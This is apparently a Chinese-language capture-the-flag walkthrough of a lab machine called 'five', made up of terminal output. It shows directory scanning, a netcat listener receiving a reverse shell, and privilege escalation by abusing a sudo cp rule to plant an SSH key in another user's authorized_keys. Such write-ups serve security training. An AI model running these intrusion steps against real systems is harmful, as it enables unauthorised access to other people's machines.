kali@kali [~] ➜ sudo dirsearch -u http://192.168.1.12 [20:08:03] [sudo] kali 的密码: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
kali@kali [~] ➜ nc -lvnp 8888 [21:19:27] listening on [any] 8888 ... connect to [192.168.1.4] from (UNKNOWN) [192.168.1.12] 46712 bash: cannot set terminal process group (334): Inappropriate ioctl for device bash: no job control in this shell www-data@five:~/html$ whoami whoami www-data www-data@five:~/html$
提权
1 2 3 4 5 6 7 8
www-data@five:~/html$ sudo -l sudo -l Matching Defaults entries for www-data on five: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five: (melisa) NOPASSWD: /bin/cp
www-data@five:~/html$ netstat -tulnp netstat -tulnp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 384/nginx: worker p tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN 384/nginx: worker p udp 0 0 0.0.0.0:68 0.0.0.0:* - www-data@five:~/html$ nc 127.0.0.1 4444 nc 127.0.0.1 4444 SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
www-data@five:/tmp$ cat x cat x ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCV6dTFnRnxSXTQ7EI7Bymfl/xRBCjpIzxswsIemipSdaNGMhfVeGHj9cHsnmouJ7s6KmeO5tElGpePQRO4sHILOVAQ2hEwnu1iGklDNwTKAusQqf2yxfVvvZWfWqEa3x2cV0JOGqKKVWNpof+UwIUsbR9Ka6K2WGyMa/Y7JootilSNkpxK8NOF5FjJeu8iYGAz3u7N0DP4S6YAg0XkNSQ0kkknBCLMJboryf52EohsqY0PS3mSMs9v0MBqnvcgcd7uPjzmth3P54rkJpz6/Qt5+wC//+XnQwxL9VlJsSHxx6SDn//4d/nlMG4Xa1p5yce2qHvHXV7HbXOmj5he3Av1h8S7dukdBGYGqgdFxJ2vkqv/tZzreSqKlHoR8SqsA3IUFXMnK9pr7pwThFVy9FdpQ91AuzQ0gLejm/x9EpvOoEluBdU2Sm4mue3uj2NvS0XXqlJy/KKVotymaEzeRSRMUU0zeNf9bJ0II+DjJ0+iti0XQ69T2CW4n6tFebXpXgB18qJd54zFEJoykcq7pUoclHL88+rQwhYDhjCiBhs4VOUKuLQjf3jqqGsFrC4PJ8oIfoOBnxoDXZWdh6Ly0zzC/BD2/R2OuPPuzv6XAaqF958SgI681bk5SXeTnBXAn7p8r+gIONnr+QI4evvZgh8CyWMY+v/fJO1tbIXzK/TqbQ== your_email@example.com www-data@five:/tmp$ sudo -u melisa /bin/cp x /home/melisa/.ssh/authorized_keys < melisa /bin/cp x /home/melisa/.ssh/authorized_keys
kali@kali [~/.ssh] ➜ ssh melisa@192.168.1.12 -p 3333 [21:39:49] The authenticity of host '[192.168.1.12]:3333 ([192.168.1.12]:3333)' can't be established. ED25519 key fingerprint is SHA256:tzDbg+Bz/dhZxOEC2UQ0V1lBWPCIPWOJ3tbX0VtJ5Vg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.1.12]:3333' (ED25519) to the list of known hosts. Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Oct 6 03:39:32 2020 from 192.168.1.58 melisa@five:~$ whoami melisa melisa@five:~$ sudo -l Matching Defaults entries for melisa on five: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five: (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear